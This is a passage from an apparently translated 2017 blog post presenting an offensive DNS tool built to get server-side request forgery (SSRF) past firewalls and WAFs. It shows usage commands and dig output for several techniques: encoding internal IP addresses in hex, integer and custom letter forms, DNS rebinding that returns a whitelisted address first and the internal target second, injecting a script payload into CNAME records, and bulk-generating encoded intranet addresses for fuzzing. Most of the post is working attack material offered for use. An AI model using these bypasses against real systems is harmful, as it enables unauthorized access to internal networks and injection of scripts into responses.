25 Jun 2017 - Tr3jer_CongRong
When SSRF is used, it is inevitable that the firewall will intercept the malicious return value. Xip.io has been used but the effect is not so good. Project address: GitHub
SSRF, SSRF intranet address fuzzy, DNS secondary rebinding, support for IPv4 / IPv6, support for IP address transcoding, DNS record pollution (the last 0day is an example). Brain map is in my head, I'm too lazy to draw.
support Record Type and Encoding:
MX = ipv4/ipv6/hex
A = ipv4/en/int/hex
AAAA = ipv6/int/hex
CNAME = ipv4/ipv6/hex
To configure listening server example.com:
sudo pip install ipaddr
Modify lib / config.conf: maindomain = test.example.com. Note the root address. Add
Usage: sudo python main.py {Options}
Options:
-h, --help show this help message and exit
-t 300, --TTL=300 ttl value , 0 By Default
-y A/AAAA/CNAME/MX, --Type=A/AAAA/CNAME/MX
Record Type , A By Default
-e int/hex/en, --Encoding=int/hex/en
Record Encoding , None By Default
-r, --Rebinding The Second Time Query Return Target Ip
-p "<script>alert(/xss/)</script>", --payload="<script>alert(/xss/)</script>"
Specified Record , Support CNAME/MX
-The Y option specifies the type of record to return:
-y A/AAAA/CNAME/MX, --Type=A/AAAA/CNAME/MX Record Type , A By Default
-y A/AAAA/CNAME/MX, --Type=A/AAAA/CNAME/MX Record Type , A By Default
- tSelection defined TTL value:
0 By Default
-t 300, --TTL=300 ttl value , 0 By Default
Direct a record returns IPv4 address:
sudo ./main.py
sudo ./main.py
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50359
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 227 IN NS ns.example.com.
server:[21:54:16] client ip:44486 => A => 192.168.1.1.test.example.com.
[21:54:16] client ip:44486 => A => 192.168.1.1.test.example.com.
Hexx
sudo./main.py -e hex
sudo ./main.py -e hex
➜ ~ dig 31302e302e302e31.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 31302e302e302e31.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1585
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;31302e302e302e31.test.example.com. IN A
;; ANSWER SECTION:
31302e302e302e31.test.example.com. 0 IN A 10.0.0.1
;; AUTHORITY SECTION:
test.example.com. 600 IN NS ns.example.com.
server:[22:00:42] client ip:30150 => A => 31302e302e302e31.test.example.com.
[22:00:42] client ip:30150 => A => 31302e302e302e31.test.example.com.
int编码: sudo ./main.py -e int
sudo ./main.py -e int
➜ ~ dig 3232235777.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 3232235777.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18066
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;3232235777.test.example.com. IN A
;; ANSWER SECTION:
3232235777.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 456 IN NS ns.example.com.
server:[22:03:00] client ip:5240 => A => 3232235777.test.example.com.
[22:03:00] client ip:5240 => A => 3232235777.test.example.com.
Because WAF can identify the internal network address to use in this project, then WAF can identify the base conversion, so you need to write an address conversion method yourself:
Num to en:
./lib/common.py 192.168.1.1
1. Single IP Covert For En
2. Build IP List
[+] [1 By Default/2]
bjckbgikbkb
sudo./main.py -e en
sudo ./main.py -e en
➜ ~ dig bjckbgikbkb.test.example.com
; <<>> DiG 9.8.3-P1 <<>> bjckbgikbkb.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5115
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;bjckbgikbkb.test.example.com. IN A
;; ANSWER SECTION:
bjckbgikbkb.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 20 IN NS ns.example.com.
server:[22:10:22] client ip:8434 => A => bjckbgikbkb.test.example.com.
[22:10:22] client ip:8434 => A => bjckbgikbkb.test.example.com.
DNS secondary rebinding:
sudo ./main.py -r
Input Safe Ip? [Address/Req By Default]8.8.8.8
Optionally enter the address of the target trust, for example, in SSRF, the firewall is verifying whether the DNS return value exists in the white list. The default is the address where the request originated. (remember that the record type needs to be specified in special circumstances)
For the first time:
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59544
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 8.8.8.8
;; AUTHORITY SECTION:
test.example.com. 461 IN NS ns.example.com.
The second time:
➜ ~ dig 192.168.1.1.test.example.com
; <<>> DiG 9.8.3-P1 <<>> 192.168.1.1.test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45312
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;192.168.1.1.test.example.com. IN A
;; ANSWER SECTION:
192.168.1.1.test.example.com. 0 IN A 192.168.1.1
;; AUTHORITY SECTION:
test.example.com. 501 IN NS ns.example.com.
dns记录污染: sudo ./main.py -p "<script>alert(/xss/)</script>" -y CNAME
sudo ./main.py -p "<script>alert(/xss/)</script>" -y CNAME
➜ ~ dig test.example.com
; <<>> DiG 9.8.3-P1 <<>> test.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5073
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;test.example.com. IN A
;; ANSWER SECTION:
test.example.com. 0 IN CNAME <script>alert\(/xss/\)</script>test.example.com.
How to play this depends on your brain circuitry. If the firewall also needs to verify whether it is a trusted address, modify lib / common.py:
elif payload != 'None' and payload.find(mainDomain) == -1:
record = payload + "信任地址."
Iplistbuild: batch generation of network segment address, selective coding, suitable for SSRF intranet address fuzzy.
python lib/common.py 192.168.1.1
1. Single IP Covert For En
2. Build IP List
[+] [1 By Default/2]2
[+] Please Input Segment Length [24 By Default]
[+] Please Input Encoding ['ipv4' By Default]hex
[+] Please Input Server Root Address [test.example.com By Default]
[+] Stored in the 20170625223912_test_example_com_hex.txt
[[email protected]_34_252_centos dnsAutoRebinding]# head -n 5 20170625223912_test_example_com_hex.txt
3139322e3136382e312e31.test.example.com
3139322e3136382e312e32.test.example.com
3139322e3136382e312e33.test.example.com
3139322e3136382e312e34.test.example.com
3139322e3136382e312e35.test.example.com